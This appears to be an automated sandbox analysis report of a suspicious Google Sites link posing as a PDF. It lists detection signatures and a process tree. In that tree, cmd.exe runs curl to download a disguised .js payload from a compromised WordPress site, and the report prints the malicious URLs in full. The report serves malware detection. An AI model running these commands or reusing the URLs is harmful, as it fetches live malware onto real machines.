Resubmissions

08/05/2025, 07:32

250508-jdcz1s1qz2 10

08/05/2025, 07:27

250508-jalgzsy1ay 6

Analysis

  • max time kernel
    200s
  • max time network
    183s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/05/2025, 07:27

General

  • Target

    https://sites.google.com/view/drive-cx8JrJ/pdf?hid=68545392

Score
6/10

Malware Config

Signatures

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://sites.google.com/view/drive-cx8JrJ/pdf?hid=68545392
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb440bdcf8,0x7ffb440bdd04,0x7ffb440bdd10
      2⤵
        PID:3832
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --field-trial-handle=5600,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5664 /prefetch:1
      1⤵
        PID:644
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --field-trial-handle=5392,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5792 /prefetch:1
        1⤵
          PID:5040
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --field-trial-handle=5992,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5968 /prefetch:1
          1⤵
            PID:2740
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --field-trial-handle=6132,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5996 /prefetch:1
            1⤵
              PID:4720
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=6328,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=6324 /prefetch:8
              1⤵
                PID:976
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=6336,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3320 /prefetch:8
                1⤵
                  PID:4068
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=6352,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3200 /prefetch:8
                  1⤵
                    PID:2900
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=4560,i,14626078333035697419,13825138210910656185,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=4512 /prefetch:8
                    1⤵
                      PID:3272
                    • C:\Windows\System32\rundll32.exe
                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                      1⤵
                        PID:1376
                      • C:\Windows\system32\notepad.exe
                        "C:\Windows\system32\notepad.exe"
                        1⤵
                          PID:2252
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3432
                          • C:\Windows\system32\curl.exe
                            curl.exe -s -o amk57qsh30t33t.js 'https://maconsmallbusinesses.com/wp-content/uploads/2018/08/urobenzoicHQ7v.php'
                            2⤵
                              PID:1572
                            • C:\Windows\system32\curl.exe
                              curl.exe
                              2⤵
                                PID:5040
                              • C:\Windows\system32\curl.exe
                                curl.exe -s -o amk57qsh30t33t.js 'https://maconsmallbusinesses.com/wp-content/uploads/2018/08/urobenzoicHQ7v.php'
                                2⤵
                                  PID:4300
                                • C:\Windows\system32\curl.exe
                                  curl.exe -s -o amk57qsh30t33t.js 'https://maconsmallbusinesses.com/wp-content/uploads/2018/08/urobenzoicHQ7v.php' -v
                                  2⤵
                                    PID:5104

                                Network

                                      MITRE ATT&CK Enterprise v16

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